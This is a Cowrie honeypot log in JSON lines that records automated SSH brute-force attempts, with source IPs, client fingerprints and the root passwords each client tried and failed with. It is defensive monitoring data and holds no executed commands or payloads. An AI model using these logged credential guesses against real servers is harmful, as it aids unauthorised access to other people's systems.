{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":44520,"dst_ip":"159.203.135.109","dst_port":22,"session":"992bf2567010","protocol":"ssh","message":"New connection: 135.235.138.43:44520 (159.203.135.109:22) [session: 992bf2567010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:21.556946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:21.562022Z","src_ip":"135.235.138.43","session":"992bf2567010","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:21.752808Z","src_ip":"135.235.138.43","session":"992bf2567010","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cde34rfV","message":"login attempt [root/Cde34rfV] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:22.539403Z","src_ip":"135.235.138.43","session":"992bf2567010","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:23.731791Z","src_ip":"135.235.138.43","session":"992bf2567010","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":49454,"dst_ip":"10.17.0.5","dst_port":22,"session":"b435106b923a","protocol":"ssh","message":"New connection: 152.32.172.177:49454 (10.17.0.5:22) [session: b435106b923a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:35.287522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:35.293036Z","src_ip":"152.32.172.177","session":"b435106b923a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:35.514343Z","src_ip":"152.32.172.177","session":"b435106b923a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:36.429369Z","src_ip":"152.32.172.177","session":"b435106b923a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:37.653177Z","src_ip":"152.32.172.177","session":"b435106b923a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00319314002991,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:39.502078Z","src_ip":"5.224.169.1","session":"aa7304f0e58e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.234.174.18","src_port":55706,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ce94f83b6b0","protocol":"ssh","message":"New connection: 177.234.174.18:55706 (10.17.0.5:22) [session: 8ce94f83b6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:51.908972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:51.914426Z","src_ip":"177.234.174.18","session":"8ce94f83b6b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:52.057681Z","src_ip":"177.234.174.18","session":"8ce94f83b6b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mars123","message":"login attempt [root/mars123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:52.642320Z","src_ip":"177.234.174.18","session":"8ce94f83b6b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:02:53.784783Z","src_ip":"177.234.174.18","session":"8ce94f83b6b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":50998,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b0aff593908","protocol":"telnet","message":"New connection: 167.71.238.254:50998 (10.17.0.5:23) [session: 2b0aff593908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:04.529595Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":51152,"dst_ip":"10.17.0.5","dst_port":22,"session":"7242f8608a6c","protocol":"ssh","message":"New connection: 40.78.155.180:51152 (10.17.0.5:22) [session: 7242f8608a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:17.887385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:17.892351Z","src_ip":"40.78.155.180","session":"7242f8608a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:17.935364Z","src_ip":"40.78.155.180","session":"7242f8608a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mesa","message":"login attempt [root/mesa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:18.129058Z","src_ip":"40.78.155.180","session":"7242f8608a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:19.172666Z","src_ip":"40.78.155.180","session":"7242f8608a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.281147003173828,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:24.810639Z","src_ip":"167.71.238.254","session":"2b0aff593908","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":89.83358216285706,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:26.242221Z","src_ip":"167.71.238.254","session":"67475cef2006","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":55726,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2f2f64ec52a","protocol":"ssh","message":"New connection: 43.156.212.86:55726 (10.17.0.5:22) [session: e2f2f64ec52a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:26.836952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:26.842132Z","src_ip":"43.156.212.86","session":"e2f2f64ec52a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:27.080653Z","src_ip":"43.156.212.86","session":"e2f2f64ec52a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"banban","message":"login attempt [root/banban] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:28.067103Z","src_ip":"43.156.212.86","session":"e2f2f64ec52a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.18.220","src_port":52498,"dst_ip":"159.203.135.109","dst_port":22,"session":"d76a7209e9ca","protocol":"ssh","message":"New connection: 160.22.18.220:52498 (159.203.135.109:22) [session: d76a7209e9ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:28.107437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:28.112302Z","src_ip":"160.22.18.220","session":"d76a7209e9ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:28.355611Z","src_ip":"160.22.18.220","session":"d76a7209e9ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:29.307511Z","src_ip":"43.156.212.86","session":"e2f2f64ec52a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"matias","message":"login attempt [root/matias] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:29.389143Z","src_ip":"160.22.18.220","session":"d76a7209e9ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:03:30.639234Z","src_ip":"160.22.18.220","session":"d76a7209e9ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":45388,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d01cb17e745","protocol":"ssh","message":"New connection: 135.235.138.43:45388 (159.203.135.109:22) [session: 7d01cb17e745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:01.130539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:01.135930Z","src_ip":"135.235.138.43","session":"7d01cb17e745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:01.324306Z","src_ip":"135.235.138.43","session":"7d01cb17e745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:02.108782Z","src_ip":"135.235.138.43","session":"7d01cb17e745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:03.304056Z","src_ip":"135.235.138.43","session":"7d01cb17e745","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":57228,"dst_ip":"10.17.0.5","dst_port":22,"session":"2464ab27e3f2","protocol":"ssh","message":"New connection: 152.32.172.177:57228 (10.17.0.5:22) [session: 2464ab27e3f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:03.804737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:03.810724Z","src_ip":"152.32.172.177","session":"2464ab27e3f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:04.022721Z","src_ip":"152.32.172.177","session":"2464ab27e3f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hanuman","message":"login attempt [root/hanuman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:04.895967Z","src_ip":"152.32.172.177","session":"2464ab27e3f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:06.111685Z","src_ip":"152.32.172.177","session":"2464ab27e3f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"183.5","message":"Connection lost after 183.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:30.545096Z","src_ip":"175.196.135.116","session":"04c32dfd5ca8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":45970,"dst_ip":"10.17.0.5","dst_port":22,"session":"52ecc3724e5d","protocol":"ssh","message":"New connection: 40.78.155.180:45970 (10.17.0.5:22) [session: 52ecc3724e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:04:38.149361Z"}
